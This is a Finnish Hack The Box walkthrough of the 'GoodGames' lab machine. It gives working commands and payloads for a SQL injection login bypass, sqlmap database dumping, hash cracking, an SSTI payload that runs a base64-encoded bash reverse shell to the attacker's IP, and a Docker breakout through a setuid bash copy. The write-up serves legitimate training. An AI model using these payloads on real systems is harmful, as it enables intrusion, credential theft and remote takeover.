Hack the Box: GoodGames

User flag

Nmap-skannauksesta huomataan, että kohteessa on avoinna Apache HTTP-palvelin portissa 80. Syötteestä nähdään osoite goodgames.htb. Lisätty /etc/hosts -tiedostoon kohteen IP-osoite 10.10.11.130 vastaamaan osoitetta goodgames.htb

Osoitteessa goodgames.htb nähdään pelisivusto, jossa on myös blogi- ja kauppavälilehdet, sekä mahdollisuus kirjautua sisään.

Kokeiltu kirjautua sisään sähköpostilla admin@goodgames.htb ja salasanalla password.

Siepattu pyyntö Burp Suitella.

Lähetetty pyyntö Burp Suitessa Repeater-välilehdelle, ja kokeiltu onko kirjautumiskenttä haavoittuvainen SQL-injektiolle, sijoittamalla sähköpostikenttään: admin’ or 1 = 1 — –

Vastauksestä nähdään, että kirjautuminen onnistui. Tallennettu pyyntö, jossa kokeiltu kirjautua sähköpostilla admin@goodgames.htb tiedostoksi nimeltä request, jotta voidaan käyttää pyyntöä SQLMap-työkalulla.

SQLMapilla haettu kohteen tietokannat. Kohteesta löytyi tietokannat information_schema ja main.

sqlmap -r request -p email --dbs

SQLMapilla listattu tietokannan main taulut. Huomataan taulut user, blog ja blog_comments.

sqlmap -r request -p email --dbs -D main --tables

Dumpattu taulun user koko sisältö, ja nähdään käyttäjän admin salasanatiiviste.

sqlmap -r request -p email --dbs -D main --tables -T user --dump

Kopioitu salasanatiiviste tiedostoon hash.txt ja hashid:lla tarkistettu tiivisteen salausalgoritmi, joka on MD5.

hashid -m hash.txt

Hashcatilla onnistuneesti murrettu salasana: superadministrator.

hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Kirjauduttu onnistuneesti sisään sähköpostilla admin@goodgames.htb ja salasanalla superadministrator.

Siepattu HTTP-pyyntö, kun oltu kirjautuneen sisään käyttäjänä admin. Pyynnön vastauksesta nähdään osoite http://internal-administration.goodgames.htb.

Lisätty /etc/hosts -tiedostoon kohteen IP-osoite 10.10.11.130 vastaamaan osoitetta internal-administration.goodgames.htb.

Selaimella aukaistu osoite http://internal-administration.goodgames.htb/login. Sivulla on Flask-kirjautumissivu.

Onnistuneesti kirjauduttu sisään käyttäjätunnuksella admin ja salasanalla superadministrator.

Asetukset-välilehdellä huomataan mahdollisuus päivittää oman profiilin tietoja. Nimi-kenttään sijoitettu SSTI-payloadi: {{7*7}}.

Tallentamisen jälkeen huomataan, että payloadi suoritettiin, koska nimi vaihtu numeroksi 49 (7 * 7 = 49), joten kohde on haavoittuva Server Side Template injektiolle.

Generoitu bash reverse shell käyttäen hyökkäyskoneen IP-osoitetta ja porttia 443, ja muutettu Base64 muotoon: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzQ0MyAwPiYx

Työkalu: https://www.revshells.com/

Hyökkäyskoneessa käynnistetty Netcat-kuuntelija porttiin 443.

Profiilin nimi-kenttään sijoitettu SSTI-payloadi:

{{config.__class__.__init__.__globals__['os'].popen('echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzQ0MyAwPiYx=${IFS}|base64${IFS}-d|bash').read()}}

Netcat-kuuntelijassa saatu onnistuneesti root-shell.

User flag löytyi hakemistosta /home/augustus.

Root flag

Vaikka saatiin shell roottina, ei root flag kuitenkaan löytynyt hakemistosta /root.

Hakemistosta /home/augustus huomataan, että tiedostojen omistajana on UID 1000, sen sijaan että omistus olisi merkitty nimellä.

Komennolla mount tarkistettu kiinnitetyt hakemistot. Huomataan, että hakemisto /home/augustus on kiinnitetty.

Komennolla ifconfig tarkistettu kohteen verkkosovittimien IP-osoitteet, ja huomataan IP-osoite 172.19.0.2, joka on mahdollisen Docker-kontin IP-osoite. Oletuksena Docker määrittää aliverkon ensimmäisen IP-osoitteen järjestelmän käyttöön.

Kohteessa tehty porttiskannaus IP-osoitteeseen 172.19.0.1, ja huomataan, että TCP-portti 22 (SSH) on avoinna.

for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT
&>/dev/null" 2>/dev/null && echo "port $PORT is open"; done

Kohteesta käsin onnistuneesti saatu SSH-yhteys käyttäjänä augustus osoitteeseen 172.19.0.1 käyttäen aiempaa salasanaa superadministrator.

script /dev/null bash
ssh augustus@172.19.0.1

Kopioitu binääri bash käyttäjän augustus kotihakemistoon ja katkaistu SSH-yhteys. Vaihdettu suoritettavaan tiedostoon bash omistajaksi ja ryhmäksi root, sekä lisätty tiedostoon luku-, kirjoitus- ja suoritusoikeudet.

cp /bin/bash .
exit
chown root:root bash
chmod 4755 bash

Kirjauduttu takaisin käyttäjänä augustus ja tarkistettu tiedoston bash oikeudet. Suoritettu tiedosto ja onnistuneesti saatu shell root-UID:lla.

ssh augustus@172.19.0.1
./bash -p

Root flag oli nyt saatavilla hakemistossa /root.